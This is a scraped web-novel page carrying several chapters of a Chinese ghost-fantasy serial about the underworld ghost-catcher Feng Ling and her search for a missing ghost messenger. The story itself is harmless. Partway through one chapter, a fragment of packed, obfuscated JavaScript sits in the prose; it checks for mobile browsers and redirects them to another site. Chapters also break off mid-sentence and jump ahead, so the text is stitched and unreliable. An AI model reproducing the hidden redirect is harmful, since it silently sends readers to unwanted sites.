闻言,那摊主脸上的笑更大了些,嘴角几乎开裂到后耳根。他搓着手,眼神热切地盯住红衣鬼不放,像是看见了一只待宰的肥羊。 “自然,自然……这把扇子么,是卑人在人间四下游荡时,偶然从一处山野深林里拾到的。”那摊主滚出几声含糊不清的唧哝,“您别看它如今是这样子,刚捡到时满覆灵力,竟能在那种地方与怨气萦缠而不遭吞噬,一定是件难得的宝物!也只有像您这般的大鬼王,才能一眼在卑人的小摊上相中它……缘分,缘分哪!” “……那种地方?” 解玉发出一声不解的呢喃。 摊主神秘一笑,扯下脑袋抱在胸前,骨碌碌地转着眼珠,自以为小声地透露,“卑人去的那地方,从前是一处古战场,后来又被当成了弃尸的乱葬岗。经年累月之下,埋了不知多少的血肉残骸,怨气凝结不散,便成了笼于林间的浓雾。莫说是普通生人,便是那些以捉鬼为业的法师们,也不敢在没有任何准备的情况下贸然闯进。可这把扇子,不知在那地方遗存了多久,到卑人发现它时都还有如此浓郁的灵力……两位大人说,这是不是件宝物?” 浅浅几道折痕浮于眉心,封灵带着若有所思的表情,蓦地开口:“若是宝物,主人家当极爱惜才是,怎会被你如此轻易地捡到手?” “……” 突然便沉默了下去。 抬手哐哐捶着脑袋,又抱在怀里使劲摇了好几圈,总算用这种粗暴手段回忆起当时景象的摊主复又开口:“……这扇子的存身之处,是一座被破开的半旧空棺。我看到时,里面除了几滩早已干涸的血迹,再没别的了。想来这扇子的主人,已经被林中的怨气吞噬掉了吧。” “你怕不是故意骗我们的吧?就这么一把普通的扇子,什么宝物不宝物的……话说的这样流程,你是不是早就在心底打过无数次腹稿了,见一个说一个,来两个说一双!真当我们是什么冤大头吗!” 早在摊主扯下脑袋的瞬间,解玉便动作迅速地捂住了眼睛,甚至转身背对摊位站立。这会儿听声音渐消,封灵也没有其他反应,本着低买高卖的朴素心思,利落地先下手为强,开始质疑起话里真假来。 封灵瞥了人一眼,不知出于什么考虑地没有制止。只摊主却哇哇怪叫两声,又将头狠狠砸在放满了货物的长桌上,大有与解玉愤怒理论的架势—— “这位大人!我看你也手里抱着,怀里揣着了不少东西。鬼市是什么规矩,你难道还不清楚么!不议价格,不问出处……若非你身边的这位大人实在好看,像你这种不懂礼数的客人,我早把你打走了!” 或许是封灵的没有阻止给了底气,总之解玉是一点不怕,甚至有胆子转回身跟摊主继续拉扯,“你说归说,砸东西做甚!是不是被我说中后心虚了!” 只是依旧捂着眼睛,自然也就没看到砸在桌上的那颗脑袋。 “你你你!” 摊主的火气更甚,眼珠骨碌碌地转了几圈,看准解玉的方向便想上嘴去咬。封灵却似早有所感,脚步一挪便将解玉掩在了身后。红眸从那扇子上掠过,封灵的口气平淡无波,“说吧,怎么卖?” “还是这位大人爽快。若是人,便拿他的半数寿命来换。若是鬼么……给卑人百年的鬼力便好了。” 摊主“桀桀”笑了两声,将断折的脑袋重新摁回脖颈,又回到了一开始的正常模样,只说的话却有些狮子大张口。 低低说了句“睁眼”,封灵抬手便将那把折扇握在了掌心。一遍又一遍地摩挲过有刻字的扇柄,红衣鬼只觉触感与自己的那把别无二致。她掀了掀眼皮,“想清楚了再说……若敢乱喊价,我便让你永远也出不了鬼市。” 语气平常,甚至连声调也没扬过半分,可其中的威胁意味却昭然若揭。 “您这不是……” 摊主乱转的眼珠骤然停住,隐隐可见几丝慌乱。 隔壁的货商这会儿也看够了戏,更生怕波及到自己的生意,忙不迭地小声劝道:“老兄,快别乱抬价了,该多少就是多少吧……那一位可是咱们地府的鬼师娘娘,出了名的‘鬼见愁’,便在阎王爷面前也是敢叫板的。就你这身子骨,怕是被勾魂索抽一下就要命了。” “……那,那我要百枚元宝,千张黄钱,”那摊主犹豫了下,仍显出几分不死心,“还要,还要一张龙票!” 货商本算是好心,一听这话立时便翻了个白眼,眼睛已开始找寻起藏身的地方来。封灵更是唰地将勾魂索甩上长桌,眉眼弯弯地继续,“我方才没有听清……这位头家,烦请你再说一次。” “那,您觉得该给多少?” 到这一刻,摊主才彻底看清封灵不好惹的本质。呼呼吐出几口黑烟,蔫了气的身体顿时缩了大半,只剩下一层薄薄的肉皮贴住长桌。 封灵盯着手里的折扇沉默了下,转头看向解玉,“你身上还剩些什么?” 后者迅速在怀里掏了一通,又埋头清点了几下,“刚才买的太多,如今就只有几十枚元宝,几十张黄纸,还有些铜板、碎银子什么的……” 解玉将所有东西打包进一个袋子里,方才交到封灵的手里,“……鬼大、鬼师娘娘,这些就是全部了。” 封灵反手接过,解开束口的绑带扫了两眼,又从自己身上摸了颗灰黑色的圆润珠子,一并放了进去,这才扔到那摊主面前,“非人非鬼的东西,吞了鬼力只会死得更快……这是泡在血河池里的尸块凝成的死珠,效果不比凡人的寿命差,便宜你了!” 干瘪的脑袋又一次裂出笑口,发出桀桀的难听声音。摊主重新在长桌上浮出人形,生怕封灵会反悔般迅速将袋子抓在手里,脸上早已不见怒火,满满的都是讨好。 “……捡到这扇子的深林,你还记得在哪儿吗?” 封灵蓦地开口。 “卑人只记得那地方阴寒湿冷得可怕,至于地界么……应当是在如今的望京边上,再具体的便真想不起来了。” 才从封灵手里得了好处的摊主这会儿格外配合,耷拉着眼睛,皱着脸皮想了又想,最终也只能无奈放弃,“卑人虽捡了它,可细算下来都是几百年前的事情了……如今也不知道还有没有那么一片地方。” 封灵也不勉强,无所谓地一点头,“我倒是对那地方颇感兴趣。若之后还有从深林得来的好东西, 12. 所谓解惑 《鬼师娘娘今天咸鱼了吗》全本免费阅读 “……转轮王可在?” 送走解玉,封灵转头便似一阵风般飘进了第十殿。将将踏进槛内,迎面遇上在殿内值守的阴兵,封灵的面上却没有显出任何异样的神色,语气更是一如往常,丝毫瞧不出是来兴师问罪的。 “鬼师娘娘好呀!” 那阴兵也是见熟了封灵的,笑眯眯地打过招呼,又告知转轮王的去处,“阎王爷才看过一批鬼的善恶,将他们发往人间各州投生。这会得了空闲,应该是在后殿休息吧。” 说罢,又问起封灵过来的原因。 “前些时候帮了城隍主的忙,冥主说他将这份功业记在了我的名下,”封灵笑了笑,用起酆都大帝的理由来毫不亏心,“今日刚好路过第十殿,便想进来问问,也好知道自己的罪业究竟消弥了多少,又还要再等上多久才能投胎。” 封灵是只罪业深重的恶鬼,这件事在地府里并不是什么秘密,抓鬼抵过更是摆在了明面上。是以她找的这个借口并没有惹起那阴兵任何的怀疑,甚至还侧开了身体,给红衣鬼让了条道出来,“那您快些去吧,千万别耽误了事!” 封灵两手拢在袖中,敛目浅浅一颔首算是谢过。不需要谁来专门引路,她在某种意义上可以说是第十殿的常客,对殿内的各处布局更是再熟悉不过。前脚与阴兵分开,后脚封灵便毫不停顿地直奔转轮王而去。 “问转轮王好呀!” 封灵径直飘进后殿,单刀直入,根本不打算给转轮王留反应的时间,“你告诉我,我从前究竟做了什么恶事,又是怎么死的?” “……你如今是越来越不见外了,也不怕我褪了衣服在睡觉么。” 正得空的转轮王歪在躺椅上无所事事,断鬼来生的功过簿被随意摊开搁在桌案上。看见封灵招呼都不打一声地进来,转轮王丝毫不觉被冒犯,甚至主动地坐起身,面上带着显而易见的愉悦。 “这个问题,你问过很多次了,我也答过很多次了……简而言之四个字,无可奉告。”抬手将摊开的功过簿合上,转轮王这才将视线移向封灵,像是在看一个不懂事的晚辈般,语气颇为和善,“我若告诉了你,便是自己失责,会被酆都大帝责罚的。” 转轮王观察着封灵的表情,眨了眨眼睛又道:“不过么,恶业如何虽不能说,但你自己是什么死法,该是比我还清楚的。就你真身上的那些伤痕,哪一道不是要命的?” “冥主说,我是被自己害过的人上门寻仇死的,”封灵不闪不避地迎上转轮王的目光,“可是……若依因果二字,我害了他们,他们便杀死我,这份因果已经结了,为何我还会因罪业未消滞留地府到如今呢?” “那便是你的罪业太大,他们杀死你的方式又太轻,两相难抵,你才只能靠抓鬼弥补过错……封灵,你是在怀疑什么吗?可你不过是一只恶鬼,地府骗你又有什么好处呢?” 转轮王说的不是没有道理,她确实没有什么好值得被骗的,她也一直不去细想。 之前觉得无所谓,毕竟死后成恶鬼的,生前定沾了深重的因果和怨气。后来是觉得没必要,左右在地府混熟了,不求上进、散漫度日到投胎那天也就完了。若不是出现在鬼市的那把折扇太过奇怪,她或许也懒得再找谁归根究底。 “就是因为想不明白,所以才来问你呀。” 封灵自顾自地找地坐下,被鸦睫遮去大半的眸眼闪烁着不死心的光芒。她挥手现出折扇——从鬼市得来的那把,一边慢吞吞地扇动着,一边状似不经意地问道:“那我究竟是死哪儿的?总不能真被仇家挫骨扬灰,一点渣子都没剩下吧……” 转轮王也跟着换了姿势,歪着头单手撑住下颌,两只眼睛在封灵握着的折扇上打了个转儿,面不改色,“这就是你在鬼市上新得的扇子吧?” “……你知道?” 愣住的人换成了封灵。 “地府里的鬼数以万计,今日又大半聚在了黄泉,都是些看热闹不嫌事大的。你前一刻进鬼市,后一刻便传出鬼师娘娘跟小摊主买物不成,扯着勾魂索要大打出手……如此,我知道你得了把扇子,也就不足为奇了吧?” 转轮王一脸的理所当然。 原来是知道的,那该是也猜出自己为什么会突然找上第十殿了。 红衣鬼无语凝噎。 都这样了,还能坐在这里同她迂来绕回地扯上大半刻钟……看来这些鬼神们也跟普通的小鬼没有区别,在瞧好戏、围观笑话这方面如出一辙。 “那你说,这把扇子究竟是什么回事?” 封灵伸长了手,将折扇放到转轮王的眼皮子底下,左右轻晃了几下,直截了当地问起话来。 后者抬着怀念似的目光逡巡了会儿,摸着下巴感慨道:“这把扇子哪,我少说也有一千年没瞧过它了……咳咳,不是说你从前那把是假的。两把都是冥主亲自炼的,就是时间上有些差别,但都是抓鬼拿敌的好武器。” “他老人家是没事干了,故意炼两把一模一样的?” 红衣鬼怀疑不改。 “倒也不是,”转轮王呵呵一笑,“千年前万鬼出逃,这一把便被冥主遗失在人间了……也不能说是遗失,就是落在了凡人的手里,沾了阳世的生气,后来又被故意藏了起来,冥主便也懒得找回来了。至于给你的那把……” 转轮王的视线莫名飘忽了下,“你是被冥主征来替咱们解决烦事的,总不能让你赤手空拳地直接上吧,再怎么也得拿件武器傍身哪!恰好那段时间,冥主还惦记着他那把扇子呢,便干脆依样画葫芦,给你也弄了个一模一样的。” 这解释听着,怎么更觉得生气了…… 封灵晃了晃脑袋,指着扇柄的地方,继续问道:“这上头刻的两个字,又怎么说?” “……这个么,或许它就没什么特别的意思呢?”转轮王脸上的笑险些挂不住,底气顿时不足,“若代指你这个鬼师,便该先刻「鬼」,再刻「封」,如此排列才说 13. 失踪鬼差 《鬼师娘娘今天咸鱼了吗》全本免费阅读 在转轮王处受的打击太大,封灵这一次干脆地在地府消失了数日,连去奈何桥找孟婆的次数也少了。直到第十殿的阴兵带着新修好的折扇上门,红衣鬼的身影才又一次出现在酆都城内。 却不是因为想开了,而是那日与第十殿阴兵同行的,还有察查司的判官陆之道。 第五殿阎魔王座下的一名鬼差,日前在去人间办差的路上无故消失,连觅踪的水镜也窥不见其踪影,就这样下落不明了。 听说那鬼差是阎魔王的爱将,却不知为何被第五殿找到了察查司头上,察查司的陆判官又直接找上了封灵,希望封灵能替他们往人间一趟探个究竟。 “……察查司的日、夜游神两位大人,本就有巡查人间之责,由他们去寻最是合适。至于我么,自来是与这两处没有瓜葛的,陆判缘何会找上我呢?” 封灵并没有直接拒绝,只是若不给个说得过去的理由,哪怕她再怎么想去人间,也不愿无端趟这趟浑水,再平白惹一身骚。 “这鬼差的身份有些特殊,所以不好由第五殿或察查司直接出面,”陆之道笑了笑,“某听闻鬼师娘娘于人间事上颇有经验,故来求助……不论此行是何结果,都有五十年功业做酬。若能将那鬼差找回,便再以百年功业相报。” 这诱饵实在动人。 封灵舔了舔干燥的唇瓣,几丝淡淡的纠结爬上心头。想了想,故意蹙起眉尖,做出一副疑惑不解的样子,犹豫与惊诧恰到好处:“陆判如此爽快,是笃定我会因功业二字点头了?只是您这话藏一半露一半的,又不肯言明那鬼差前由,我实在不敢应哪!” 陆之道一听便笑了,“看来鬼师娘娘是愿意了。如此,我便与您细说说——” …… 封灵挨着孟婆坐下,手指悬在半空胡乱地勾画着,缓缓描出一张模糊的面容。 据陆之道所说,纪苏文,便是那名失踪的鬼差,原是阎魔王在人间时的第二十三代玄孙。因生前行善诛恶,死后凭攒下的功业做了地府鬼差,又因这层关系被特意收在了第五殿座下。 第五殿司管因冤屈死,还阳申雪之事,纪苏文做了第五殿的鬼差,仍不改生前的正直作风,不过百年便替阎魔王了结数桩麻烦旧案,是地府里小有名气的新秀。 月前,察查司的一名秉笔小吏因过遭贬,正好空了个位置出来,阎魔王便有意让纪苏文顶上去。只是还不等调任的文书下来,纪苏文便先一步在人间失踪了。 “纪鬼差原是去上头处理情煞鬼的,哪知道会一去无返。出事前,夜游神还曾在莫县山脚见过他,当时纪鬼差正在那附近搜寻情煞鬼的踪迹,并没有显出什么异样……也不知是否在抓鬼时遇到了棘手之事,又或是被哪个眼红胆大的趁机偷袭,总之请鬼师娘娘再替我等去莫县看看,一并替纪鬼差解决麻烦。” 陆之道的声音复又在封灵耳边回荡,后者却对这两个假设疑信参半。 地府有意栽培的好苗子,本事不差,又背靠阎魔王这棵大树,哪是那么容易被下绊子困住的?且若连地府水镜都寻觅不到踪影,便只剩下两种可能了——要么是被寻的纪苏文已然身消魂散,要么便是水镜由始至终没有感知到危险,自然也就寻不到无恙者的踪迹了。换句话说,纪苏文是主动、自愿地在某种情况下消失的。 “……我往这里头装了些孟婆汤,你小心收着,”孟婆递过莹白的瓷瓶,“若真找到了纪苏文,便将这瓶子带给他。再提醒他,下次记得自己来,勿要又忘了。” 封灵听得云里雾里,却还是按着孟婆的话收进随身的佩袋,茫然不解道:“带给他这东西做甚?” “你可听陆之道说起过,那纪苏文此行是为去人间做什么事情?” “……抓情煞鬼。” 孟婆微微侧头,嘴角抿出一抹笑,“情煞鬼虽也属煞鬼之列,却没有长出什么害伤人的本事。他们多由人世间的痴男怨女所化,生前为情所困,死后也因情不灭。魂身徘徊在执念最深刻之地,不断重复着他们记忆中最难忘的一日,永不休止。” 封灵眼底带了一丝诧异,“听着,倒不像是会故意作恶的……为何又要让鬼差们去抓回来呢?” “可总有无意撞上的凡人,”孟婆始终噙着极淡的笑,“因踏进执念所在,便被情煞鬼们拖入了他们过往的记忆当中,做了诉衷深情的另一方,如同蜃海幻境般,再难有清醒之日。” “……所以,这孟婆汤是给情煞鬼喝的?” 封灵似乎有些明白了。 “他们弱的很,也不会打架,稍微厉害些的鬼祟都可以吞掉他们。”孟婆灰瞳泛出细微波澜,“所以,寻个法子给他们灌下孟婆汤,淡去这许多无谓的执念,自己便跟着回来投胎了。” 封灵长长地哦了一声,眼珠又骨碌碌地转动起来,像是想到了什么可能性般,凑近孟婆的耳边小声道:“你说那个纪苏文,会不会是被情煞鬼给迷住了,然后就……” 孟婆撞着肩膀将红衣鬼挤开,又伸出一根手指狠狠点上封灵额头,口气颇为无奈,“你当纪苏文是第一次去抓情煞鬼么?就他那呆板无趣的个性,回回都是直接把鬼摁住硬灌了带回来的,从没见他生过怜香惜玉的心思……就是有些不记事,十回里有八回都忘记从我这里取孟婆汤。左右你要去找他,有备无患,就帮着带上吧。” 听着倒是个颇有意思的鬼差,就是不知道死透了没,若还能找的回来,保不齐还能与自己交个朋友。 封灵摇着扇子又坐了会,直等到第五殿送来能统令五十名鬼差的令牌后,才起身告辞。 临走前,又忽然问道:“……若明知人间有人供奉,却始终不曾收到任何的香火,是什么原因?” “若供奉之人没有说谎,所奉牌位的刻字亦无任何错漏,那便只有一个原因了——” 带着仿佛能洞悉一切的剔透,孟婆缓缓开口:“封灵儿,你让那人间道士供奉的香火,被其他更厉害的鬼阻绝了。” 来不及追问孟婆为何知道自己找人供奉的事情,封灵半信半疑地反驳,“不可能呀……比我厉 14. 此间异事 《鬼师娘娘今天咸鱼了吗》全本免费阅读 次日一早。 睁着涣散无神的一双眼睛,两颊凹陷,面容沧桑的解玉,脚步虚浮地出现在院外的空地上,浑身都散发着一股“风萧萧兮易水寒,壮士一去兮不复还”的悲壮气势。 他的脚边,堆放着数个收整妥当的大小包袱。像是要举家逃难一般,把屋内连同被褥在内的全部家当都收了个干净。冷风卷起地上的枯叶,毫无阻碍地穿过破落的木门与半朽的窗扉,除了院脚那棵泛黄欲枯的老树勉强发出几声簌簌颤动,再不见任何生气。 解玉就站在一片的萧瑟凄凉中,顶着绵绵密密的细小雨点,左臂夹着给封灵准备的油纸伞,右手握着不被别人当成疯子的大蒲扇,一声连着一声地叹气。 “……闭嘴!” 封灵飘浮着从解玉背后的正堂走出,捏紧折扇忍无可忍,“让你跟着去莫县而已,又不是把你推进鬼群里自生自灭,做出这样一副样子给谁看!钟三娘那次,还有鬼市那次,我有让你吃过半分亏吗?我这还没捡到懒呢,你倒已经赚了好几次的钱了!” 可之前都只是小打小闹,这次却是连鬼差都折进去了的失踪大事。他一个手无缚鸡之力的普通人,哪够得上去看这种热闹啊…… 解玉两眼望天,用力地甩了甩头,试图将脑袋里奇奇怪怪的假设全部抛掉。须臾长长吐出一口气,总算恢复了正常。 “鬼大王,咱们出发吧!” 解玉捏着拳头转身,胸膛起伏不定,像是给自己打气般大声朝封灵说道。 “……出发可以,把你脚边的那堆东西都扔了。” 红衣鬼抬着扇子点了几下,又仰起下巴朝解玉示意了两眼。 “莫县虽是个小地方,可也差不多挨着望京的边了。咱们在南边的水乡,两处城镇一北一南的,远着呢!”解玉掰着手指头,开始给封灵细数起此行的路线与艰难来,“……您看,不多带些东西真是不行,总不能真风餐露宿地走一路罢?我这也是为了大局考虑呀!” 封灵像是看傻子般盯了解玉一眼,无力地发出一声叹息,“我何时说过,要艰难困苦地跋涉过去了?解道长,且不说我是只鬼,一个隐现的工夫就能出现在莫县。便是捎带上你这个凡人,也还有缩地成寸的术法呢……” 这下子,轮到解玉呆滞在了原地,而后干干呵笑两声,“……是、是吗?” 红衣鬼再度翻了个白眼,不耐烦继续等待。上前搭住解玉的肩膀,只听见后者一声惊呼,一人一鬼便突兀地消失在空旷的院子。 “我包袱还没收回去呢——” …… 空气中弥散着潮湿的气味,隐约的雷鸣自头顶处炸开。解玉迎着扑面的细碎雨点,艰难地替自己撑住伞,深一脚浅一脚地走在蜿蜒曲折的山间小道上。 “……都说十里不同天,怎么这雨到莫县反而还大了呢!” 解玉扯着袖子往脸上糊了一把,又摇摇晃晃地把陷进泥泞的腿拔出来,灰白的袍摆上全是泥点。 “这时节本就多雨,你又是带了伞的,便少嚎两句吧。” 这时候做鬼的好处便显现出来了……不必淋雨,也不用担心身上的衣物被弄脏。比之解玉的狼狈,一身清爽的封灵不知道要自在悠闲多少。 只是这场雨……确实大得有些不寻常了。 红衣鬼仰头看向山野更深处。淅沥滂沱的雨丝斜织成遮天的雨幕,伴随着不时破开厚重乌云的银色闪电,将封灵探寻的视线阻挡得干干净净。 突然间,像是被什么东西绊倒了一般,解玉毫无征兆地失去平衡,整个人倾斜着向下倒去,握着的油纸伞被狠狠甩了出去,脸也砸进了满是泥浆的水洼里。封灵愣了一下,挥手先将人从地上挪了块地儿,又掐了个诀将解玉脸上的污迹抹去,这才带着明显的不快看向摔倒的地方。 这条道虽难走了些,却胜在没有其他的阻碍,四下开阔,不见丛木。除了偶尔凭运气踩到的泥坑外,不至于出现落石断树之类的东西阻了去路。可眼下,这条本该空旷无物的羊肠小径上,却突兀地躺了根开裂的枝干,显得分外刺眼。 “鬼大王,要不咱们先休息一会儿,等这雨下得小些了,再继续找那什么鬼差吧?” 解玉两手撑着地面,余惊未定地喘了几口气,憋了又憋还是没忍住,抬起狼狈不堪的一张脸,小声建议道。 红衣鬼抬手甩去一道咒符,将解玉罩在自己的庇护之下。猩红的眼眸半眯,古井无波的脸上缓缓勾起一抹冷笑,“不关这雨的事……是咱们找对了地方,有东西按耐不住地出来迎接我们了。” 封灵扬起扇子狠狠一挥,立时便有数道劲风出现。裹着飒飒作响的破空声,像发了狂的野兽般,狂叫着卷过土块沙石,又将附近的树干尽数拔起。 “滚出来!” 红衣鬼寒声道。 “……再敢掀风弄雨,我就把你这破地方给扬了!让你执念无归,鬼身不存!” 轰隆雷鸣似乎有一瞬间的停滞,旋即又咆哮得更加厉害。 “你最好相信我说的话,”封灵抬手在折扇上抹过一道赤芒,“地府鬼师要抓的鬼,还没有哪一个能跑得掉的。” 说罢,也不管藏于暗处的东西听完作何反应,封灵已决定先下手为强,等把那只作祟的家伙抓住后,再细问纪苏文的下落。 将将抬手,还不等红衣鬼念咒缚魂,便听山路尽头传来一道极轻的男声,带着试探的询问,“……来者可是鬼师娘娘?” 再抬头,雨散云收。 封灵动作流畅地收回扇子,旋身回到解玉身边,却并未立刻撤去在这人身上种下的护身符纹,只是两手抱胸,状似放松地等待说话者走近。 盘踞在莫县的情煞鬼,竟是个男人么…… 踩过被风雨打落的散乱树叶,来人伴着窸窣断续的脚步声,最终停在了距离封灵三步之遥的地方,露出一张清俊而冷淡的脸。 虽穿着人间书生才有的纯白儒衫,这人的身上却不见任何生气,反萦缠着地府特有的却死香的味道。 出现在此地的,不是所谓的情煞鬼,而是本该失踪的纪苏文。 “……纪 15. 吾妻秋茹 《鬼师娘娘今天咸鱼了吗》全本免费阅读 伴着这声呼唤出现在山路尽头的,是个梳着圆髻,身穿桃色襦裙的年轻妇人。手里提了个小竹篮,装着零星几枚果子,正笑盈盈地往纪苏文的方向张望。 而沉默如一潭死水的纪苏文,也在看见那女子的刹那剧烈挣扎起来,丝毫不顾及勾魂索缚身带来的灼痛。而那道桃色的人影,也在短暂的停顿后再度动作起来,哼着不成曲的乡间小调,步伐轻快地朝这边走来。 而后,径直穿过。 封灵的目光轻飘飘地落进那女子毫无察觉的茫然眸眼里,须臾转回不知何时已停止挣扎的纪苏文身上,“……她就是你要藏的人,或者说是情煞鬼?” 纪苏文痴痴注视着那道犹在不远处找寻自己踪迹的桃色背影,垂在两侧的手不自觉地抬起,又因勾魂索的束缚而生生放下。纪苏文闭上眼微微仰头,像是在抚平内心的躁动与挣扎般迟迟不发一言。少顷后再睁开,又变回了封灵最开始看到的冷淡模样,只是嘴角却多了抹苦涩的笑。 “……秋茹,是我的妻子。” 泠泠的声音如是道。 不可能。 这是封灵听到后的第一反应,可旋即又被她自己否决了。纪苏文的表情不像是说谎,可入了地府挂职的鬼差更是不可能配姻缘的。 不论在生前,还是死后。 其中的隐情,怕是出在纪苏文自己身上。 “……鬼,也能够婚配么?” 坐在红衣鬼身侧,竖起耳朵作倾听状的解玉小声发出了疑问。 “有些鬼可以,有些鬼不行……但若做了鬼差,就一定不可以了,”问的是封灵,开口解释的却是纪苏文,“至于人和鬼么……这位道长只须记得人鬼殊途即可。” 解玉哦了一声,顶着红衣鬼不善的目光又默默坐了回去,撩起袖子擦上湿漉的头发来。 这家伙,该说是胆子变大了么…… 封灵将注意力重新放回纪苏文身上,显露出一抹堪称无动于衷的视线,“那也与成为鬼差的你没有关系了。她如今是情煞鬼,不是你的妻子……饮下孟婆汤送去投胎,对她才是最好的结局。” “鬼师娘娘,能否再容我逗留些时间,等安顿好吾妻后,再跟您回去向阎魔王与陆判官请罪?”纪苏文低下头,发出一声不抱希望的恳求,“勾魂索也能否请您一并取下……在下只是想让吾妻安心,绝没有半分逃跑的想法!” 秋茹的呼唤声还在耳边回荡,封灵微蹙着眉心,隐隐透出几分躁烦。 “咻”地一声收回勾魂索,红衣鬼用力揉了揉额头,带着明显的不耐烦,“你想留就留,想走就走。至于要怎么处置这只情煞鬼,那也是你自己的事情,与我无关……我绑你只是因为你想偷袭我,其他的我一概不管!” 封灵朝解玉招了招手,偷摸瞄着动静的男人便自觉从地上爬起,试图将折了一半的油纸伞往红衣鬼头上凑,又被后者嫌弃似的躲开。 纪苏文踉跄两步,撑住树干站稳后还来不及向封灵道谢,便被身后冲上来的人抱了个满怀。 “……找到你了,纪郎!” 带着全然的雀跃与欣喜。 封灵对这些男女间的风情月思毫无兴趣,摆着手示意了两下便要离开,却又在秋茹疑惑的问询声中顿下脚步—— “……这位姑娘,你跟身边的这位公子,都是我家相公的朋友吗?” 看见解玉不稀奇,可这只情煞鬼,竟连她都能看见……方才分明对这里发生的一切都毫无察觉的。 这下子,她是想走也走不掉了…… 真是麻烦。 并不想打碎这只情煞鬼的美梦,封灵余光瞥过稍显紧张的纪苏文,扬着近乎温柔的笑脸答应道:“秋茹姑娘好,我二人确是纪兄的朋友。方才不经意间与纪兄偶遇,一时兴起便多说了两句,倒耽误姑娘给他安排的正事了。” 一番话说得极其流畅,红衣鬼的面色更是如常,全然看不出匆忙间找寻借口的模样。 秋茹一听,先是责怪般地瞪了纪苏文好几眼,而后面露赧然地开口:“实在是失礼……若两位不嫌弃的话,便请到舍下用餐便饭吧,也好让我夫妻二人一尽地主之谊。” 这可不成! 封灵张口便要拒绝,却被更快一步的纪苏文抬手阻止,“虽是些粗茶淡饭,却也是山里难得的鲜味……二位便去寒舍小坐片刻吧。” 拉的却不是封灵,而是解玉。 解玉被这突如其来的话和动作惊得定在原地。还是少有与鬼物打交道的经验,这会求助般的目光不受控制地朝封灵飘去。 “纪兄如此盛情,又有令夫人的相邀,我们自是要去的……便再多叨扰二位一阵了!” 封灵笑着答应,状似无意般侧过身体,正好挡去秋茹看向解玉的视线,又半眯起红眸朝解玉投去威胁一瞥,免得这人在不经意间露出端倪。 纪苏文这会也松开了手,接过妻子挎在臂肘的竹篮,一行人说笑间往屋舍而去。 …… 踏进秋茹与纪苏文住的小院,封灵默不作声地四下打量着。错落分布的几间瓦房,挂满作物的篱笆栅栏,青枝绿叶的数棵果树,还有被特意辟出来的小花圃……整个院子虽有些拥窄,却不难看出主人家的上心。 事实上,这地方只是情煞鬼执念所化的幻境,是她残留在记忆深处中的一段过往。不管看起来有多么美好,到头来也不过虚妄二字。 “家里难得有贵客上门,今日的饭便由我来做吧……秋茹,你陪他们稍坐片刻。” 纪苏文进门搁下竹篮,三两下挽好袖子便想往灶间而去,却被秋茹扯住胳膊拦了下来。 “就你那点子厨艺,怕不是要把我的灶间都给烧了,”秋茹嗔怪两句,又笑着招待几人坐下,“还是我去罢!两位客人稍坐坐,用些茶水果子……纪郎,好生陪着你的朋友,可不许怠慢人家!” 若不是知道眼前两人的身份,任谁看去都只会觉得是对热情好客的恩爱夫妻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913340|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫没有回忆起身死的不快,至少说瞧不出任何的端倪。 像是随意提了个话头,解玉接着封灵的话继续道:“鬼大王,你当时……是怎么死的?” 这话问的有些失礼,他也做好了封灵不答或是生气的准备。毕竟若换作是他自己,也不乐意听到旁人询问自己的死因,甚至还详细到是何种死状。 “……唔,不记得了。” 出乎意料地,红衣鬼不见任何动气,反还顺着解玉的话摇了摇头,“生前的事情,我都不记得了。不过么……他们都说我是被人寻仇杀死的。” “……他们?” “就是地府的孟婆、黑白无常、阎王们……还有酆都大帝。”封灵歪着脑袋,不带犹豫地点了一堆“人”出来,“你不也见过我的真身么,正常寿终的哪是我这副样子,只有与我有深仇大恨的才干得出来。是以,我觉得他们说的也颇有道理。” 他,见过封灵的真身? 解玉茫然了一瞬,而后反应过来,“是咱们在桥上第一次遇见的那次?可当时……那副样子不是鬼大王您故意变化出来吓我的吗?!” “……吓你的也是真的!” 红衣鬼愤愤然开口,而后面露怀疑地看着解玉,“解道长,你不会以为只有我现在这张脸才是真的,所以就越来越不怕我了吧?” 后者却没有立刻回答,而是像陷入了沉思般怔愣不语。他已然记起了封灵当初吓人时的模样,无目无舌,伤痕见骨,实在是惨烈至极的死法,只怕是到死那刻才从剧烈的疼痛中解脱出来。 饶是有深仇大恨,也未免过分狠辣了些。 “可你的眼睛,还有声音……” 胸口沉闷的钝痛更加明显,解玉怀抱最后一丝希冀地开口求证,试图找出封灵只是玩笑的破绽。 见这人又一次略过了自己的问题,封灵不加掩饰地翻了个白眼,撇过嘴勉强道:“眼睛和声音都是做鬼师以后酆都大帝给的,说是与我生前的无异。至于眼睛的颜色么……他老人家说我死的时候血都流尽了,所以特意给了我一双红眸,说是缺什么补什么。” 听着就像是信口胡诌的假话。 封灵暗自腹诽了一句。 “行了行了,问完了没有,”封灵开始不耐烦起来,“我回答了你那么多的问题,我问的话呢,怎不见你答我呢?” 解玉这才想起自己忘了什么,利索地一摇头,“您又不会害我,我为何要怕。” 万千纷乱的思绪,最后只化作短短的一句话。郁色深沉的黑眸直直地撞进封灵腥红的眼眸,在后者又一次开口前,解玉自己先垂下了眼帘,盯着红衣鬼腕上的伤口,发出一声极轻的低语—— “……抱歉,再不会了。” 封灵正为解玉的态度感到奇怪,又听他喃喃自语地念个不停,终于忍不住般拧了眉,“你到底想说什么!” “我说——” 解玉调整好了情绪,嘴角微扬着刚说了两个字,便跟被掐住了喉咙般再吐不出话来。另有一道阴沉的声音从身后响起—— “……我说,鬼师娘娘好呀!” 25. 无常论罚 封灵瞬间从圈椅上消失,再出现时已把住了解玉的肩膀,将人狠狠往后一带,自己则举着折扇留在了原地。 “你们怎么来了,”封灵冷冷看着眼前的两道身影,“谢必安,还有范无咎。” 正是地府的黑白无常。 就跟看不见威胁自己的那把折扇般,谢必安慢慢悠悠地走过来,又吊儿郎当地将手搭上封灵肩膀。余光先瞥了眼稍远处的解玉,而后才道:“自然,是来接你回地府的。” 